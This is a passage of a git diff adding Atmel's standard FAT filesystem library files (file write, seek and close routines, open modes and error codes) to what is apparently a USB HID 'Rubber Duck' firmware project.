see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is usualy used after the last file_write() call. +//! The file_write() routine uses the sector unit (512B), +//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call. +//! @endverbatim +//! +Bool file_set_eof( void ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + // Update the file size + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + + if( !fat_read_file( FS_CLUST_ACT_CLR )) + return false; + + return fat_cache_flush(); +} + + +//! This function transfer a buffer to a file at the current file position +//! +//! @param buffer data buffer +//! @param u16_buf_size data size +//! +//! @return number of byte write +//! @return 0, in case of error +//! +uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ) +{ + _MEM_TYPE_FAST_ uint16_t u16_nb_write_tmp; + _MEM_TYPE_FAST_ uint16_t u16_nb_write; + _MEM_TYPE_FAST_ uint16_t u16_pos_in_sector; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + u16_nb_write = 0; + + while( 0 != u16_buf_size ) + { + // The file data sector can been directly transfer from buffer to memory (don't use internal cache) + u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B; + if( (0== u16_pos_in_sector) + && (FS_512B <= u16_buf_size) +#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__) + && (Test_align((uint32_t)buffer, sizeof(uint32_t))) +#endif + ) + { + u16_nb_write_tmp = u16_buf_size / FS_512B; // read a modulo sector size + + // Get and eventually alloc the following sector segment of file + if( !fat_write_file( FS_CLUST_ACT_SEG , u16_nb_write_tmp )) + return false; + // Truncate the segment found if more larger than asked size + if( u16_nb_write_tmp < fs_g_seg.u32_size_or_pos) + { + fs_g_seg.u32_size_or_pos = u16_nb_write_tmp; + }else{ + u16_nb_write_tmp = fs_g_seg.u32_size_or_pos; + } + + // Directly data tranfert from buffer to memory + while( 0 != fs_g_seg.u32_size_or_pos ) + { + if( CTRL_GOOD != ram_2_memory( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer)) + { + fs_g_status = FS_ERR_HW; + return u16_nb_write; + } + fs_g_seg.u32_size_or_pos--; + fs_g_seg.u32_addr++; + buffer += FS_512B; + } + // Translate from sector unit to byte unit + u16_nb_write_tmp *= FS_512B; + } + else + { + // The file data can't been directly transfer from buffer to memory, the internal cache must be used + + // Tranfer and eventually alloc a data sector from internal cache to memory + if((fs_g_nav_entry.u32_pos_in_file == fs_g_nav_entry.u32_size) + && (0==u16_pos_in_sector) ) + { + // Eventually alloc one new sector for the file + if( !fat_write_file( FS_CLUST_ACT_SEG , 1 )) + return false; + // Update the cache + fs_gu32_addrsector = fs_g_seg.u32_addr; + if( !fat_cache_read_sector( false )) // The memory is not readed because it is a new sector + return false; + }else{ + // The sector must existed then alloc no necessary + if( !fat_write_file( FS_CLUST_ACT_ONE , 1 )) + return false; + } + + // Flag internal cache modified + fat_cache_mark_sector_as_dirty(); + + // Compute the number of data to transfer + u16_nb_write_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size + if( u16_nb_write_tmp > u16_buf_size ) + u16_nb_write_tmp = u16_buf_size; + + // Tranfer data from buffer to internal cache + memcpy_ram2ram( &fs_g_sector[ u16_pos_in_sector ], buffer , u16_nb_write_tmp ); + buffer += u16_nb_write_tmp; + } + // Update positions + fs_g_nav_entry.u32_pos_in_file+= u16_nb_write_tmp; + u16_nb_write += u16_nb_write_tmp; + u16_buf_size -= u16_nb_write_tmp; + // Update file size + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + } + return u16_nb_write; // All buffer is writed +} + + +//! This function writes a byte in the file +//! +//! @param u8_byte byte to write +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_putc( uint8_t u8_byte ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + if( !fat_write_file( FS_CLUST_ACT_ONE , 1 )) + return false; + + // Write the data in the internal cache + fat_cache_mark_sector_as_dirty(); + fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ] = u8_byte; + fs_g_nav_entry.u32_pos_in_file++; + + // Update the file size + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + return true; +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns the position in the file +//! +//! @return Position in file +//! +uint32_t file_getpos( void ) +{ + if( !fat_check_mount_select_open() ) + return 0; + + return fs_g_nav_entry.u32_pos_in_file; +} + + +//! This function changes the position in the file +//! +//! @param u32_pos number of byte to seek +//! @param u8_whence direction of seek
+//! FS_SEEK_SET , start at the beginning and foward
+//! FS_SEEK_END , start at the end of file and rewind
+//! FS_SEEK_CUR_RE, start at the current position and rewind
+//! FS_SEEK_CUR_FW, start at the current position and foward
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_seek( uint32_t u32_pos , uint8_t u8_whence ) +{ + if( !fat_check_mount_select_open()) + return false; + + switch(u8_whence) + { + case FS_SEEK_CUR_RE: + if( fs_g_nav_entry.u32_pos_in_file < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file -= u32_pos; + break; + + case FS_SEEK_SET: + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = u32_pos; + break; + + case FS_SEEK_END: + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size - u32_pos; + break; + + case FS_SEEK_CUR_FW: + u32_pos += fs_g_nav_entry.u32_pos_in_file; + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = u32_pos; + break; + } + return true; +} + + +//! This function checks the beginning of file +//! +//! @return 1 the position is at the beginning of file +//! @return 0 the position isn't at the beginning of file +//! @return FFh error +//! +uint8_t file_bof( void ) +{ + if( !fat_check_mount_select_open() ) + return 0xFF; + + return (0 == fs_g_nav_entry.u32_pos_in_file ); +} + + +//! This function checks the end of file +//! +//! @return 1 the position is at the end of file +//! @return 0 the position isn't at the end of file +//! @return FFh error +//! +uint8_t file_eof( void ) +{ + if( !fat_check_mount_select_open() ) + return 0xFF; + return (fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ); +} + + +//! This function flushs the internal cache (file datas and file information) +//! +void file_flush( void ) +{ + uint8_t save_open_mode; + save_open_mode = fs_g_nav_entry.u8_open_mode; + file_close(); + fs_g_nav_entry.u8_open_mode = save_open_mode; +} + + +//! This function closes the file +//! +void file_close( void ) +{ + // If a file is opened, then close this one + if( fat_check_mount_select_open() ) + { + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if( FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode ) + { + // Write file information + if( !fat_read_dir() ) + return; // error + fat_write_entry_file(); + fat_cache_flush(); // In case of error during writing data, flush the data before exit function + } +#endif // FS_LEVEL_FEATURES + Fat_file_close(); + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h new file mode 100755 index 0000000..f2d910e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h @@ -0,0 +1,225 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the file accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FILE_H_ +#define _FILE_H_ + +#include "fs_com.h" +#include "fat.h" + +//_____ D E F I N I T I O N S ______________________________________________ + +//! \name options for file_seek() routine +//! @{ +#define FS_SEEK_SET 0x00 //!< start at the beginning +#define FS_SEEK_END 0x01 //!< start at the end of file and rewind +#define FS_SEEK_CUR_RE 0x02 //!< start at the current position and rewind +#define FS_SEEK_CUR_FW 0x03 //!< start at the current position and foward +//! @} + +//! \name Struture to define a physical memory segment +//! @{ +typedef struct { + uint8_t u8_lun; //!< logical unit(drive) number + uint32_t u32_addr; //!< segment address (unit sector) + uint16_t u16_size; //!< segment size (unit sector), or IN parameter for file_write() and file_read() routines +} Fs_file_segment; +//! @} + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//! This function checks if a file is selected +//! +//! @return true, a file is selected +//! @return false, otherwise +//! +Bool file_ispresent( void ); + +//! This function opens the selected file +//! +//! @param fopen_mode option to open the file :
+//! FOPEN_MODE_R R access, flux pointer = 0, size not modify
+//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify
+//! FOPEN_MODE_W W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_open( uint8_t fopen_mode ); + +//! This function returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited)
+//! ->u32_size_or_pos OUT, containt the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to read a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_read() for each fragments. +//! @endverbatim +//! +Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + +//! This function copys in a buffer the file data corresponding at the current position +//! +//! @param buffer buffer to fill +//! @param u16_buf_size buffer size +//! +//! @return number of byte read +//! @return 0, in case of error +//! +uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ); + +//! This function returns the next byte of file +//! +//! @return The byte readed +//! @return EOF, in case of error or end of file +//! +uint16_t file_getc( void ); + +//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file
+//! ->u32_size_or_pos OUT, contains the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to write a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_write() for each fragments. +//! @endverbatim +//! +Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + +//! This function sets the end of file at the current position +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is usualy used after the last file_write() call. +//! The file_write() routine uses the sector unit (512B), +//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call. +//! @endverbatim +//! +Bool file_set_eof( void ); + +//! This function transfer a buffer to a file at the current file position +//! +//! @param buffer data buffer +//! @param u16_buf_size data size +//! +//! @return number of byte write +//! @return 0, in case of error +//! +uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ); + +//! This function writes a byte in the file +//! +//! @param u8_byte byte to write +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_putc( uint8_t u8_byte ); + +//! This function returns the position in the file +//! +//! @return Position in file +//! +uint32_t file_getpos( void ); + +//! This function changes the position in the file +//! +//! @param u32_pos number of byte to seek +//! @param u8_whence direction of seek
+//! FS_SEEK_SET , start at the beginning and foward
+//! FS_SEEK_END , start at the end of file and rewind
+//! FS_SEEK_CUR_RE, start at the current position and rewind
+//! FS_SEEK_CUR_FW, start at the current position and foward
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_seek( uint32_t u32_pos , uint8_t u8_whence ); + +//! This function checks the beginning of file +//! +//! @return 1 the position is at the beginning of file +//! @return 0 the position isn't at the beginning of file +//! @return FFh error +//! +uint8_t file_bof( void ); + +//! This function checks the end of file +//! +//! @return 1 the position is at the end of file +//! @return 0 the position isn't at the end of file +//! @return FFh error +//! +uint8_t file_eof( void ); + +//! This function flushs the internal cache (file datas and file information) +//! +void file_flush( void ); + +//! This function closes the file +//! +void file_close( void ); + + +#endif // _FILE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h new file mode 100755 index 0000000..c6d6740 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h @@ -0,0 +1,258 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file provides a set of definitions for FAT module interface. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FAT_COM_H_ +#define _FAT_COM_H_ + +#include "conf_explorer.h" + +//! Used to have a clear code with only one segment to define a variable in project +#undef _GLOBEXT_ +#if (defined _fat_c_) +# define _GLOBEXT_ +#else +# define _GLOBEXT_ extern +#endif + + +//------- Check configuration defined in conf_explorer.h + +#ifndef FS_FAT_12 +# error FS_FAT_12 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_FAT_16 +# error FS_FAT_16 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_FAT_32 +# error FS_FAT_32 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif + +#ifndef FS_MULTI_PARTITION +# error FS_MULTI_PARTITION must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_NB_NAVIGATOR +# error FS_NB_NAVIGATOR must be defined in conf_explorer.h +#endif + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//**** Defines used in function parameters + +//! \name Modes of file name control functions +//! @{ +#define FS_NAME_GET true +#define FS_NAME_CHECK false +//! @} + +//! \name Modes of disk serial number function +//! @{ +#define FS_SN_READ true +#define FS_SN_WRITE false +//! @} + +//! \name Modes of disk label function +//! @{ +#define FS_LABEL_READ true +#define FS_LABEL_WRITE false +//! @} + +//! \name Status returned by paste file function +//! @{ +#define COPY_BUSY 0x00 +#define COPY_FAIL 0x01 +#define COPY_FINISH 0x02 +//! @} + +//! \name Date field managed by date control functions +//! @{ +#define FS_DATE_CREATION true +#define FS_DATE_LAST_WRITE false +//! @} + +//! \name File entry types used by many functions +//! @{ +#define FS_FILE true +#define FS_DIR false +//! @} + +//! \name Directory identifier, which corresponding at the first cluster of directory cluster list +//! @{ +#define FS_ID_DIR_EMPTY 0xFFFFFFFF // ID no directory = bad cluster +#define FS_ID_DIR_ROOT 0 // ID of the root directory is always the cluster 0 +//! @} + +//! \name File entry attributes +//! @{ +#define FS_ATTR_FILE ((Byte)0x00) // Normal File attribute +#define FS_ATTR_READ_ONLY ((Byte)0x01) // Read Only File attribute +#define FS_ATTR_HIDDEN ((Byte)0x02) // Hidden File attribute +#define FS_ATTR_SYSTEM ((Byte)0x04) // System File attribute +#define FS_ATTR_VOLUME_ID ((Byte)0x08) // Volume id attribute +#define FS_ATTR_DIRECTORY ((Byte)0x10) // Directory attribute +#define FS_ATTR_ARCHIVE ((Byte)0x20) // Archive attribute +#define FS_ATTR_LFN_ENTRY ((Byte)0x0F) // LFN entry attribute +#define Fat_is_not_a_file ((FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr) || (FS_ATTR_VOLUME_ID & fs_g_nav_entry.u8_attr)) +//! @} + +//! \name File open modes +//! @{ +#define FOPEN_READ_ACCESS 0x01 // authorize the read access +#define FOPEN_WRITE_ACCESS 0x02 // authorize the write access +#define FOPEN_CLEAR_SIZE 0x04 // reset size +#define FOPEN_CLEAR_PTR 0x08 // reset flux pointer +#define FOPEN_MODE_R (FOPEN_READ_ACCESS|FOPEN_CLEAR_PTR) //!< R access, flux pointer = 0, size not modify +#define FOPEN_MODE_R_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR) //!< R/W access, flux pointer = 0, size not modify +#define FOPEN_MODE_W (FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< W access, flux pointer = 0, size = 0 +#define FOPEN_MODE_W_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< R/W access, flux pointer = 0, size = 0 +#define FOPEN_MODE_APPEND (FOPEN_WRITE_ACCESS) //!< W access, flux pointer = at the end, size not modify +//! @} + +//! \name Value to signal the end of file after a file_getc() call +#define FS_EOF 0xFFFF + +//! \name Options of format function +//! @{ +#define FS_FORMAT_DEFAULT 0x01 //!< The format routine chooses the better FAT for the device +#define FS_FORMAT_FAT 0x02 //!< Force FAT12 or FAT16 format +#define FS_FORMAT_FAT32 0x03 //!< Force FAT32 format +#define FS_FORMAT_NOMBR_FLAG 0x80 //!< MBR is mandatory for USB device on MacOS, and no MBR is mandatory for CD-ROM USB device on Windows +#define FS_FORMAT_DEFAULT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_DEFAULT) +#define FS_FORMAT_FAT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT) +#define FS_FORMAT_FAT32_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT32) +//! @} + + +//**** communication STRUCTURES + +//! \name String types depend of ASCII and UNICODE options +//! @{ +typedef uint16_t UNICODE; +typedef char _MEM_TYPE_SLOW_ * FS_STRING; +typedef UNICODE _MEM_TYPE_SLOW_ * FS_STR_UNICODE; +//! @} + +//! \name Struture to store a pointer on a file +typedef struct { + uint8_t u8_lun; //!< number of the logical driver +#if (FS_MULTI_PARTITION == ENABLED) + uint8_t u8_partition; //!< number of the partition - 1 (0 or 1) (if FS_MULTI_PARTITION == ENABLED) +#endif + uint32_t u32_cluster_sel_dir; //!< first cluster of the directory corresponding at the selected file + uint16_t u16_entry_pos_sel_file; //!< entry offset of selected file in selected directory (unit = FS_SIZE_FILE_ENTRY) +} Fs_index; + + +//**** ERROR CODE + +//! \name File System errors list +//! @{ +#define FS_ERR_HW (FAIL+0) //!< Hardware driver error +#define FS_ERR_NO_FORMAT (FAIL+1) //!< The selected drive isn't formated +#define FS_ERR_NO_PART (FAIL+2) //!< The selected partition doesn't existed +#define FS_ERR_NO_SUPPORT_PART (FAIL+3) //!< The selected partition isn't supported +#define FS_ERR_TOO_FILE_OPEN (FAIL+4) //!< The navigation have already opened a file +#define FS_ERR_END_OF_DRIVE (FAIL+5) //!< There are not other driver +#define FS_ERR_BAD_POS (FAIL+6) //!< The position is over the file +#define FS_ERR_FS (FAIL+7) //!< File system error +#define FS_ERR_NO_FIND (FAIL+8) //!< File no found +#define FS_ERR_ENTRY_EMPTY (FAIL+9) //!< File entry empty +#define FS_ERR_ENTRY_BAD (FAIL+10) //!< File entry bad +#define FS_ERR_ENTRY_BADTYPE (FAIL+11) //!< File entry type don't corresponding +#define FS_ERR_NO_DIR (FAIL+12) //!< The selected file isn't a directory +#define FS_ERR_NO_MOUNT (FAIL+13) //!< The partition isn't mounted +#define FS_ERR_NO_FILE_SEL (FAIL+14) //!< There are no selected file +#define FS_NO_LAST_LFN_ENTRY (FAIL+15) //!< The file entry isn't the last long file entry + +#define FS_ERR_ID_FILE (FAIL+17) //!< The file identifier is bad +#define FS_ERR_NO_FILE (FAIL+18) //!< The selected file entry isn't a file +#define FS_LUN_WP (FAIL+19) //!< Drive is in read only mode +#define FS_ERR_READ_ONLY (FAIL+20) //!< File is on read access only +#define FS_ERR_NAME_INCORRECT (FAIL+21) //!< The name don't corresponding at the filter name +#define FS_ERR_FILE_NO_OPEN (FAIL+22) //!< No file is opened +#define FS_ERR_HW_NO_PRESENT (FAIL+23) //!< Device is not present +#define FS_ERR_IS_ROOT (FAIL+24) //!< There aren't parent because the current directory is a root directory +#define FS_ERR_OUT_LIST (FAIL+25) //!< The position is outside the cluster list +#define FS_ERR_NO_FREE_SPACE (FAIL+26) //!< No free cluster found in FAT +#define FS_ERR_INCORRECT_NAME (FAIL+27) //!< Incorrect name, this one cannot contain any of the following characters \/:*?"<>| +#define FS_ERR_DIR_NOT_EMPTY (FAIL+28) //!< This function erases only file and empty directory +#define FS_ERR_WRITE_ONLY (FAIL+29) //!< File is on write access only +#define FS_ERR_MODE_NOAVIALABLE (FAIL+30) //!< This open mode isn't available +#define FS_ERR_EOF (FAIL+31) //!< End of file +#define FS_ERR_BAD_SIZE_FAT (FAIL+32) //!< The disk size is not supported by selected FAT format +#define FS_ERR_COMMAND (FAIL+33) //!< This command is not supported +#define FS_ERR_BUFFER_FULL (FAIL+34) //!< Buffer is too small +#define FS_ERR_COPY_DIR (FAIL+35) //!< Directory copy is not supported +#define FS_ERR_COPY_RUNNING (FAIL+36) //!< A copy action is always running +#define FS_ERR_COPY_IMPOSSIBLE (FAIL+37) //!< The copy is impossible +#define FS_ERR_BAD_NAV (FAIL+38) //!< The navigator identifier doesn't existed +#define FS_ERR_FILE_OPEN (FAIL+39) //!< The file is already opened +#define FS_ERR_FILE_OPEN_WR (FAIL+40) //!< The file is already opened in write mode +#define FS_ERR_FILE_EXIST (FAIL+41) //!< The file is already existed +#define FS_ERR_NAME_TOO_LARGE (FAIL+42) //!< The file name is too large (>260 characters) +#define FS_ERR_DEVICE_TOO_SMALL (FAIL+43) //!< The disk size is too small for format routine + +#define FS_ERR_PL_NOT_OPEN (FAIL+50) //!< The play list isn't opened +#define FS_ERR_PL_ALREADY_OPEN (FAIL+51) //!< The play list is already opened +#define FS_ERR_PL_LST_END (FAIL+52) //!< You are at the end of play list +#define FS_ERR_PL_LST_BEG (FAIL+53) //!< You are at the beginning of play list +#define FS_ERR_PL_OUT_LST (FAIL+54) //!< You are outside of the play list +#define FS_ERR_PL_READ_ONLY (FAIL+55) //!< Impossible to modify the play list +//! @} + + +//! \name Compilation feature levels +//! @{ +#define FSFEATURE_READ 0x00 //!< All read functions +#define FSFEATURE_WRITE 0x02 //!< nav_file_copy(), nav_file_paste(), nav_file_del(), file_create(), file_open(MODE_WRITE), file_write(), file_putc() +#define FSFEATURE_WRITE_COMPLET 0x06 //!< FSFEATURE_WRITE + nav_drive_format(), nav_dir_make(), nav_file_rename(), nav_file_dateset(), nav_file_attributset() +#define FSFEATURE_ALL 0xFF //!< All file system module +//! @} + + +//! \name Status type for the file system +typedef uint8_t Fs_status; +//! \name Global status of file system module (used to return error number) +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_status fs_g_status; + +#endif // _FAT_COM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c new file mode 100755 index 0000000..96f10e8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c @@ -0,0 +1,2409 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for file navigation. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +//_____ I N C L U D E S ___________________________________________________ +#include // Use of toupper + +#include "conf_explorer.h" +#include "navigation.h" +#include "file.h" +#include LIB_CTRLACCESS + + +//_____ M A C R O S ________________________________________________________ + + +//_____ D E F I N I T I O N S ______________________________________________ + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & 